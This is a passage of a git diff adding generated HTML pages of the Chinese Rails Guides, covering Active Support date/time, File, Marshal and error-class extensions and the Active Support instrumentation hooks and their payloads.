+d.sunday                     # => Sun, 16 Sep 2012
+
+
+
+

14.1.2.6 prev_weeknext_week +

next_week 的参数是一个符号,指定周几的英文名称(默认为线程中的 Date.beginning_of_weekconfig.beginning_of_week,或者 :monday),返回那一天的日期。

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.next_week              # => Mon, 10 May 2010
+d.next_week(:saturday)   # => Sat, 15 May 2010
+
+
+
+

prev_week 的作用类似:

+
+d.prev_week              # => Mon, 26 Apr 2010
+d.prev_week(:saturday)   # => Sat, 01 May 2010
+d.prev_week(:friday)     # => Fri, 30 Apr 2010
+
+
+
+

last_weekprev_week 的别名。

设定 Date.beginning_of_weekconfig.beginning_of_week 之后,next_weekprev_week 能按预期工作。

14.1.2.7 beginning_of_monthend_of_month +

beginning_of_monthend_of_month 方法分别返回某个月的第一天和最后一天的日期:

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_month     # => Sat, 01 May 2010
+d.end_of_month           # => Mon, 31 May 2010
+
+
+
+

at_beginning_of_monthbeginning_of_month 的别名,at_end_of_monthend_of_month 的别名。

14.1.2.8 beginning_of_quarterend_of_quarter +

beginning_of_quarterend_of_quarter 分别返回接收者日历年的季度第一天和最后一天的日期:

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_quarter   # => Thu, 01 Apr 2010
+d.end_of_quarter         # => Wed, 30 Jun 2010
+
+
+
+

at_beginning_of_quarterbeginning_of_quarter 的别名,at_end_of_quarterend_of_quarter 的别名。

14.1.2.9 beginning_of_yearend_of_year +

beginning_of_yearend_of_year 方法分别返回一年的第一天和最后一天的日期:

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_year      # => Fri, 01 Jan 2010
+d.end_of_year            # => Fri, 31 Dec 2010
+
+
+
+

at_beginning_of_yearbeginning_of_year 的别名,at_end_of_yearend_of_year 的别名。

14.1.3 其他日期计算方法

14.1.3.1 years_agoyears_since +

years_ago 方法的参数是一个数字,返回那么多年以前同一天的日期:

+
+date = Date.new(2010, 6, 7)
+date.years_ago(10) # => Wed, 07 Jun 2000
+
+
+
+

years_since 方法向前移动时间:

+
+date = Date.new(2010, 6, 7)
+date.years_since(10) # => Sun, 07 Jun 2020
+
+
+
+

如果那一天不存在,返回前一个月的最后一天:

+
+Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
+Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
+
+
+
+

14.1.3.2 months_agomonths_since +

months_agomonths_since 方法的作用类似,不过是针对月的:

+
+Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
+Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
+
+
+
+

如果那一天不存在,返回前一个月的最后一天:

+
+Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
+Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
+
+
+
+

14.1.3.3 weeks_ago +

weeks_ago 方法的作用类似,不过是针对周的:

+
+Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
+Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010
+
+
+
+

14.1.3.4 advance +

跳到另一天最普适的方法是 advance。这个方法的参数是一个散列,包含 :years:months:weeks:days 键,返回移动相应量之后的日期。

+
+date = Date.new(2010, 6, 6)
+date.advance(years: 1, weeks: 2)  # => Mon, 20 Jun 2011
+date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
+
+
+
+

如上例所示,增量可以是负数。

这个方法做计算时,先增加年,然后是月和周,最后是日。这个顺序是重要的,向一个月的末尾流动。假如我们在 2010 年 2 月的最后一天,我们想向前移动一个月和一天。

此时,advance 先向前移动一个月,然后移动一天,结果是:

+
+Date.new(2010, 2, 28).advance(months: 1, days: 1)
+# => Sun, 29 Mar 2010
+
+
+
+

如果以其他方式移动,得到的结果就不同了:

+
+Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
+# => Thu, 01 Apr 2010
+
+
+
+

14.1.4 修改日期组成部分

change 方法在接收者的基础上修改日期,修改的值由参数指定:

+
+Date.new(2010, 12, 23).change(year: 2011, month: 11)
+# => Wed, 23 Nov 2011
+
+
+
+

这个方法无法容错不存在的日期,如果修改无效,抛出 ArgumentError 异常:

+
+Date.new(2010, 1, 31).change(month: 2)
+# => ArgumentError: invalid date
+
+
+
+

14.1.5 时间跨度

可以为日期增加或减去时间跨度:

+
+d = Date.current
+# => Mon, 09 Aug 2010
+d + 1.year
+# => Tue, 09 Aug 2011
+d - 3.hours
+# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
+
+
+
+

增加跨度会调用 sinceadvance。例如,跳跃时能正确考虑历法改革:

+
+Date.new(1582, 10, 4) + 1.day
+# => Fri, 15 Oct 1582
+
+
+
+

14.1.6 时间戳

如果可能,下述方法返回 Time 对象,否则返回 DateTime 对象。如果用户设定了时区,会将其考虑在内。

14.1.6.1 beginning_of_dayend_of_day +

beginning_of_day 方法返回一天的起始时间戳(00:00:00):

+
+date = Date.new(2010, 6, 7)
+date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
+
+
+
+

end_of_day 方法返回一天的结束时间戳(23:59:59):

+
+date = Date.new(2010, 6, 7)
+date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
+
+
+
+

at_beginning_of_daymidnightat_midnightbeginning_of_day 的别名,

14.1.6.2 beginning_of_hourend_of_hour +

beginning_of_hour 返回一小时的起始时间戳(hh:00:00):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
+
+
+
+

end_of_hour 方法返回一小时的结束时间戳(hh:59:59):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
+
+
+
+

at_beginning_of_hourbeginning_of_hour 的别名。

14.1.6.3 beginning_of_minuteend_of_minute +

beginning_of_minute 方法返回一分钟的起始时间戳(hh:mm:00):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
+
+
+
+

end_of_minute 方法返回一分钟的结束时间戳(hh:mm:59):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
+
+
+
+

at_beginning_of_minutebeginning_of_minute 的别名。

TimeDateTime 实现了 beginning_of_hourend_of_hourbeginning_of_minuteend_of_minute 方法,但是 Date 没有实现,因为在 Date 实例上请求小时和分钟的起始和结束时间戳没有意义。

14.1.6.4 agosince +

ago 的参数是秒数,返回自午夜起那么多秒之后的时间戳:

+
+date = Date.current # => Fri, 11 Jun 2010
+date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
+
+
+
+

类似的,since 向前移动:

+
+date = Date.current # => Fri, 11 Jun 2010
+date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
+
+
+
+

15 DateTime 的扩展

DateTime 不理解夏令时规则,因此如果正处于夏令时,这些方法可能有边缘情况。例如,在夏令时中,seconds_since_midnight 可能无法返回真实的量。

15.1 计算

本节的方法都在 active_support/core_ext/date_time/calculations.rb 文件中定义。

DateTime 类是 Date 的子类,因此加载 active_support/core_ext/date/calculations.rb 时也就继承了下述方法及其别名,只不过,此时都返回 DateTime 对象:

+
+yesterday
+tomorrow
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+on_weekday?
+on_weekend?
+
+
+
+

下述方法重新实现了,因此使用它们时无需加载 active_support/core_ext/date/calculations.rb

+
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+ago
+since (in)
+
+
+
+

此外,还定义了 advancechange 方法,而且支持更多选项。参见下文。

下述方法只在 active_support/core_ext/date_time/calculations.rb 中实现,因为它们只对 DateTime 实例有意义:

+
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+
+
+
+

15.1.1 具名日期时间

15.1.1.1 DateTime.current +

Active Support 定义的 DateTime.current 方法类似于 Time.now.to_datetime,不过会考虑用户设定的时区(如果定义了时区的话)。Active Support 还定义了 DateTime.yesterdayDateTime.tomorrow,以及与 DateTime.current 相关的判断方法 past?future?

15.1.2 其他扩展

15.1.2.1 seconds_since_midnight +

seconds_since_midnight 方法返回自午夜起的秒数:

+
+now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
+now.seconds_since_midnight # => 73596
+
+
+
+

15.1.2.2 utc +

utc 返回的日期时间与接收者一样,不过使用 UTC 表示。

+
+now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
+now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
+
+
+
+

这个方法有个别名,getutc

15.1.2.3 utc? +

utc? 判断接收者的时区是不是 UTC:

+
+now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
+now.utc?           # => false
+now.utc.utc?       # => true
+
+
+
+

15.1.2.4 advance +

跳到其他日期时间最普适的方法是 advance。这个方法的参数是一个散列,包含 :years:months:weeks:days:hours:minutes:seconds 等键,返回移动相应量之后的日期时间。

+
+d = DateTime.current
+# => Thu, 05 Aug 2010 11:33:31 +0000
+d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
+# => Tue, 06 Sep 2011 12:34:32 +0000
+
+
+
+

这个方法计算目标日期时,把 :years:months:weeks:days 传给 Date#advance,然后调用 since 处理时间,前进相应的秒数。这个顺序是重要的,如若不然,在某些边缘情况下可能得到不同的日期时间。讲解 Date#advance 时所举的例子在这里也适用,我们可以扩展一下,显示处理时间的顺序。

如果先移动日期部分(如前文所述,处理日期的顺序也很重要),然后再计算时间,得到的结果如下:

+
+d = DateTime.new(2010, 2, 28, 23, 59, 59)
+# => Sun, 28 Feb 2010 23:59:59 +0000
+d.advance(months: 1, seconds: 1)
+# => Mon, 29 Mar 2010 00:00:00 +0000
+
+
+
+

但是如果以其他方式计算,结果就不同了:

+
+d.advance(seconds: 1).advance(months: 1)
+# => Thu, 01 Apr 2010 00:00:00 +0000
+
+
+
+

因为 DateTime 不支持夏令时,所以可能得到不存在的时间点,而且没有提醒或报错。

15.1.3 修改日期时间组成部分

change 方法在接收者的基础上修改日期时间,修改的值由选项指定,可以包括 :year:month:day:hour:min:sec:offset:start

+
+now = DateTime.current
+# => Tue, 08 Jun 2010 01:56:22 +0000
+now.change(year: 2011, offset: Rational(-6, 24))
+# => Wed, 08 Jun 2011 01:56:22 -0600
+
+
+
+

如果小时归零了,分钟和秒也归零(除非指定了值):

+
+now.change(hour: 0)
+# => Tue, 08 Jun 2010 00:00:00 +0000
+
+
+
+

类似地,如果分钟归零了,秒也归零(除非指定了值):

+
+now.change(min: 0)
+# => Tue, 08 Jun 2010 01:00:00 +0000
+
+
+
+

这个方法无法容错不存在的日期,如果修改无效,抛出 ArgumentError 异常:

+
+DateTime.current.change(month: 2, day: 30)
+# => ArgumentError: invalid date
+
+
+
+

15.1.4 时间跨度

可以为日期时间增加或减去时间跨度:

+
+now = DateTime.current
+# => Mon, 09 Aug 2010 23:15:17 +0000
+now + 1.year
+# => Tue, 09 Aug 2011 23:15:17 +0000
+now - 1.week
+# => Mon, 02 Aug 2010 23:15:17 +0000
+
+
+
+

增加跨度会调用 sinceadvance。例如,跳跃时能正确考虑历法改革:

+
+DateTime.new(1582, 10, 4, 23) + 1.hour
+# => Fri, 15 Oct 1582 00:00:00 +0000
+
+
+
+

16 Time 的扩展

16.1 计算

本节的方法都在 active_support/core_ext/time/calculations.rb 文件中定义。

Active Support 为 Time 添加了 DateTime 的很多方法:

+
+past?
+today?
+future?
+yesterday
+tomorrow
+seconds_since_midnight
+change
+advance
+ago
+since (in)
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+on_weekday?
+on_weekend?
+
+
+
+

它们的作用与之前类似。详情参见前文,不过要知道下述区别:

+
    +
  • change 额外接受 :usec 选项。
  • +
  • +

    Time 支持夏令时,因此能正确计算夏令时。

    +
    +
    +Time.zone_default
    +# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
    +
    +# 因为采用夏令时,在巴塞罗那,2010/03/28 02:00 +0100 变成 2010/03/28 03:00 +0200
    +t = Time.local(2010, 3, 28, 1, 59, 59)
    +# => Sun Mar 28 01:59:59 +0100 2010
    +t.advance(seconds: 1)
    +# => Sun Mar 28 03:00:00 +0200 2010
    +
    +
    +
    +
  • +
  • 如果 sinceago 的目标时间无法使用 Time 对象表示,返回一个 DateTime 对象。

  • +
+

16.1.1 Time.current +

Active Support 定义的 Time.current 方法表示当前时区中的今天。其作用类似于 Time.now,不过会考虑用户设定的时区(如果定义了时区的话)。Active Support 还定义了与 Time.current 有关的实例判断方法 past?today?future?

比较时间时,如果要考虑用户设定的时区,应该使用 Time.current,而不是 Time.now。与系统的时区(Time.now 默认采用)相比,用户设定的时区可能超前,这意味着,Time.now.to_date 可能等于 Date.yesterday

16.1.2 all_dayall_weekall_monthall_quarterall_year +

all_day 方法返回一个值域,表示当前时间的一整天。

+
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_day
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+
+
+
+

类似地,all_weekall_monthall_quarterall_year 分别生成相应的时间值域。

+
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_week
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+now.all_week(:sunday)
+# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
+now.all_month
+# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+now.all_quarter
+# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+now.all_year
+# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+
+
+
+

16.2 时间构造方法

Active Support 定义的 Time.current 方法,在用户设定了时区时,等价于 Time.zone.now,否则回落到 Time.now

+
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.current
+# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
+
+
+
+

DateTime 一样,判断方法 past?future?Time.current 相关。

如果要构造的时间超出了运行时平台对 Time 的支持范围,微秒会被丢掉,然后返回 DateTime 对象。

16.2.1 时间跨度

可以为时间增加或减去时间跨度:

+
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now + 1.year
+#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+now - 1.week
+# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
+
+
+
+

增加跨度会调用 sinceadvance。例如,跳跃时能正确考虑历法改革:

+
+Time.utc(1582, 10, 3) + 5.days
+# => Mon Oct 18 00:00:00 UTC 1582
+
+
+
+

17 File 的扩展

17.1 atomic_write +

使用类方法 File.atomic_write 写文件时,可以避免在写到一半时读取内容。

这个方法的参数是文件名,它会产出一个文件句柄,把文件打开供写入。块执行完毕后,atomic_write 会关闭文件句柄,完成工作。

例如,Action Pack 使用这个方法写静态资源缓存文件,如 all.css

+
+File.atomic_write(joined_asset_path) do |cache|
+  cache.write(join_asset_file_contents(asset_paths))
+end
+
+
+
+

为此,atomic_write 会创建一个临时文件。块中的代码其实是向这个临时文件写入。写完之后,重命名临时文件,这在 POSIX 系统中是原子操作。如果目标文件存在,atomic_write 将其覆盖,并且保留属主和权限。不过,有时 atomic_write 无法修改文件的归属或权限。这个错误会被捕获并跳过,从而确保需要它的进程能访问它。

atomic_write 会执行 chmod 操作,因此如果目标文件设定了 ACL,atomic_write 会重新计算或修改 ACL。

注意,不能使用 atomic_write 追加内容。

临时文件在存储临时文件的标准目录中,但是可以传入第二个参数指定一个目录。

active_support/core_ext/file/atomic.rb 文件中定义。

18 Marshal 的扩展

18.1 load +

Active Support 为 load 增加了常量自动加载功能。

例如,文件缓存存储像这样反序列化:

+
+File.open(file_name) { |f| Marshal.load(f) }
+
+
+
+

如果缓存的数据指代那一刻未知的常量,自动加载机制会被触发,如果成功加载,会再次尝试反序列化。

如果参数是 IO 对象,要能响应 rewind 方法才会重试。常规的文件响应 rewind 方法。

active_support/core_ext/marshal.rb 文件中定义。

19 NameError 的扩展

Active Support 为 NameError 增加了 missing_name? 方法,测试异常是不是由于参数的名称引起的。

参数的名称可以使用符号或字符串指定。指定符号时,使用裸常量名测试;指定字符串时,使用完全限定常量名测试。

符号可以表示完全限定常量名,例如 :"ActiveRecord::Base",因此这里符号的行为是为了便利而特别定义的,不是说在技术上只能如此。

例如,调用 ArticlesController 的动作时,Rails 会乐观地使用 ArticlesHelper。如果那个模块不存在也没关系,因此,由那个常量名引起的异常要静默。不过,可能是由于确实是未知的常量名而由 articles_helper.rb 抛出的 NameError 异常。此时,异常应该抛出。missing_name? 方法能区分这两种情况:

+
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue LoadError => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+
+
+
+

active_support/core_ext/name_error.rb 文件中定义。

20 LoadError 的扩展

Active Support 为 LoadError 增加了 is_missing? 方法。

is_missing? 方法判断异常是不是由指定路径名(不含“.rb”扩展名)引起的。

例如,调用 ArticlesController 的动作时,Rails 会尝试加载 articles_helper.rb,但是那个文件可能不存在。这没关系,辅助模块不是必须的,因此 Rails 会静默加载错误。但是,有可能是辅助模块存在,而它引用的其他库不存在。此时,Rails 必须抛出异常。is_missing? 方法能区分这两种情况:

+
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue LoadError => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+
+
+
+

active_support/core_ext/load_error.rb 文件中定义。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_support_instrumentation.html b/active_support_instrumentation.html new file mode 100644 index 0000000..d960f6d --- /dev/null +++ b/active_support_instrumentation.html @@ -0,0 +1,1243 @@ + + + + + + + +Active Support 监测程序 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Support 监测程序

Active Support 是 Rails 核心的一部分,提供 Ruby 语言扩展、实用方法等。其中包括一份监测 API,在应用中可以用它测度 Ruby 代码(如 Rails 应用或框架自身)中的特定操作。不过,这个 API 不限于只能在 Rails 中使用,如果愿意,也可以在其他 Ruby 脚本中使用。

本文教你如何使用 Active Support 中的监测 API 测度 Rails 和其他 Ruby 代码中的事件。

读完本文后,您将学到:

+
    +
  • 使用监测程序能做什么;
  • +
  • Rails 框架为监测提供的钩子;
  • +
  • 订阅钩子;
  • +
  • 自定义监测点。
  • +
+ + + + +
+
+ +
+
+
+

本文原文尚未完工!

1 监测程序简介

Active Support 提供的监测 API 允许开发者提供钩子,供其他开发者订阅。在 Rails 框架中,有很多。通过这个 API,开发者可以选择在应用或其他 Ruby 代码中发生特定事件时接收通知。

例如,Active Record 中有一个钩子,在每次使用 SQL 查询数据库时调用。开发者可以订阅这个钩子,记录特定操作执行的查询次数。还有一个钩子在控制器的动作执行前后调用,记录动作的执行时间。

在应用中甚至还可以自己创建事件,然后订阅。

2 Rails 框架中的钩子

Ruby on Rails 框架为很多常见的事件提供了钩子。下面详述。

3 Action Controller

3.1 write_fragment.action_controller

+ + + + + + + + + + + + + +
:key完整的键
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.2 read_fragment.action_controller

+ + + + + + + + + + + + + +
:key完整的键
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.3 expire_fragment.action_controller

+ + + + + + + + + + + + + +
:key完整的键
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.4 exist_fragment?.action_controller

+ + + + + + + + + + + + + +
:key完整的键
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.5 write_page.action_controller

+ + + + + + + + + + + + + +
:path完整的路径
+
+
+{
+  path: '/users/1'
+}
+
+
+
+

3.6 expire_page.action_controller

+ + + + + + + + + + + + + +
:path完整的路径
+
+
+{
+  path: '/users/1'
+}
+
+
+
+

3.7 start_processing.action_controller

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:controller控制器名
:action动作名
:params请求参数散列,不过滤
:headers请求首部
:formathtml、js、json、xml 等
:methodHTTP 请求方法
:path请求路径
+
+
+{
+  controller: "PostsController",
+  action: "new",
+  params: { "action" => "new", "controller" => "posts" },
+  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
+  format: :html,
+  method: "GET",
+  path: "/posts/new"
+}
+
+
+
+

3.8 process_action.action_controller

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:controller控制器名
:action动作名
:params请求参数散列,不过滤
:headers请求首部
:formathtml、js、json、xml 等
:methodHTTP 请求方法
:path请求路径
:statusHTTP 状态码
:view_runtime花在视图上的时间量(ms)
:db_runtime执行数据库查询的时间量(ms)
+
+
+{
+  controller: "PostsController",
+  action: "index",
+  params: {"action" => "index", "controller" => "posts"},
+  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
+  format: :html,
+  method: "GET",
+  path: "/posts",
+  status: 200,
+  view_runtime: 46.848,
+  db_runtime: 0.157
+}
+
+
+
+

3.9 send_file.action_controller

+ + + + + + + + + + + + + +
:path文件的完整路径
+

调用方可以添加额外的键。

3.10 send_data.action_controller

ActionController 在载荷(payload)中没有任何特定的信息。所有选项都传到载荷中。

3.11 redirect_to.action_controller

+ + + + + + + + + + + + + + + + + +
:statusHTTP 响应码
:location重定向的 URL
+
+
+{
+  status: 302,
+  location: "http://localhost:3000/posts/new"
+}
+
+
+
+

3.12 halted_callback.action_controller

+ + + + + + + + + + + + + +
:filter过滤暂停的动作
+
+
+{
+  filter: ":halting_filter"
+}
+
+
+
+

4 Action View

4.1 render_template.action_view

+ + + + + + + + + + + + + + + + + +
:identifier模板的完整路径
:layout使用的布局
+
+
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
+  layout: "layouts/application"
+}
+
+
+
+

4.2 render-partial-action-view

+ + + + + + + + + + + + + +
:identifier模板的完整路径
+
+
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb"
+}
+
+
+
+

4.3 render_collection.action_view

+ + + + + + + + + + + + + + + + + + + + + +
:identifier模板的完整路径
:count集合的大小
:cache_hits从缓存中获取的局部视图数量
+

仅当渲染集合时设定了 cached: true 选项,才有 :cache_hits 键。

+
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb",
+  count: 3,
+  cache_hits: 0
+}
+
+
+
+

5 Active Record

5.1 sql.active_record

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:sqlSQL 语句
:name操作的名称
:connection_idself.object_id
:binds绑定的参数
:cached使用缓存的查询时为 true +
+

适配器也会添加数据。

+
+{
+  sql: "SELECT \"posts\".* FROM \"posts\" ",
+  name: "Post Load",
+  connection_id: 70307250813140,
+  binds: []
+}
+
+
+
+

5.2 instantiation.active_record

+ + + + + + + + + + + + + + + + + +
:record_count实例化记录的数量
:class_name记录所属的类
+
+
+{
+  record_count: 1,
+  class_name: "User"
+}
+
+
+
+

6 Action Mailer

6.1 receive.action_mailer

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:mailer邮件程序类的名称
:message_id邮件的 ID,由 Mail gem 生成
:subject邮件的主题
:to邮件的收件地址
:from邮件的发件地址
:bcc邮件的密送地址
:cc邮件的抄送地址
:date发送邮件的日期
:mail邮件的编码形式
+
+
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users@rails.com", "ddh@rails.com"],
+  from: ["me@rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # 为了节省空间,省略
+}
+
+
+
+

6.2 deliver.action_mailer

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:mailer邮件程序类的名称
:message_id邮件的 ID,由 Mail gem 生成
:subject邮件的主题
:to邮件的收件地址
:from邮件的发件地址
:bcc邮件的密送地址
:cc邮件的抄送地址
:date发送邮件的日期
:mail邮件的编码形式
+
+
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users@rails.com", "ddh@rails.com"],
+  from: ["me@rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # 为了节省空间,省略
+}
+
+
+
+

7 Active Support

7.1 cache_read.active_support

+ + + + + + + + + + + + + + + + + + + + + +
:key存储器中使用的键
:hit是否读取了缓存
:super_operation如果使用 #fetch 读取了,添加 :fetch +
+

7.2 cache_generate.active_support

仅当使用块调用 #fetch 时使用这个事件。

+ + + + + + + + + + + + + +
:key存储器中使用的键
+

写入存储器时,传给 fetch 的选项会合并到载荷中。

+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

7.3 cache_fetch_hit.active_support

仅当使用块调用 #fetch 时使用这个事件。

+ + + + + + + + + + + + + +
:key存储器中使用的键
+

传给 fetch 的选项会合并到载荷中。

+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

7.4 cache_write.active_support

+ + + + + + + + + + + + + +
:key存储器中使用的键
+

缓存存储器可能会添加其他键。

+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

7.5 cache_delete.active_support

+ + + + + + + + + + + + + +
:key存储器中使用的键
+
+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

7.6 cache_exist?.active_support

+ + + + + + + + + + + + + +
:key存储器中使用的键
+
+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

8 Active Job

8.1 enqueue_at.active_job

+ + + + + + + + + + + + + + + + + +
:adapter处理作业的 QueueAdapter 对象
:job作业对象
+

8.2 enqueue.active_job

+ + + + + + + + + + + + + + + + + +
:adapter处理作业的 QueueAdapter 对象
:job作业对象
+

8.3 perform_start.active_job

+ + + + + + + + + + + + + + + + + +
:adapter处理作业的 QueueAdapter 对象
:job作业对象
+

8.4 perform.active_job

+ + + + + + + + + + + + + + + + + +
:adapter处理作业的 QueueAdapter 对象
:job作业对象
+

9 Railties

9.1 load_config_initializer.railties

+ + + + + + + + + + + + + +
:initializerconfig/initializers 中加载的初始化脚本的路径
+

10 Rails

10.1 deprecation.rails

+ + + + + + + + + + + + + + + + + +
:message弃用提醒
:callstack弃用的位置
+

11 订阅事件

订阅事件是件简单的事,在 ActiveSupport::Notifications.subscribe 的块中监听通知即可。

这个块接收下述参数:

+
    +
  • 事件的名称
  • +
  • 开始时间
  • +
  • 结束时间
  • +
  • 事件的唯一 ID
  • +
  • 载荷(参见前述各节)
  • +
+
+
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
+  # 自己编写的其他代码
+  Rails.logger.info "#{name} Received!"
+end
+
+
+
+

每次都定义这些块参数很麻烦,我们可以使用 ActiveSupport::Notifications::Event 创建块参数,如下:

+
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  event = ActiveSupport::Notifications::Event.new *args
+
+  event.name      # => "process_action.action_controller"
+  event.duration  # => 10 (in milliseconds)
+  event.payload   # => {:extra=>information}
+
+  Rails.logger.info "#{event} Received!"
+end
+
+
+
+

多数时候,我们只关注数据本身。下面是只获取数据的简洁方式:

+
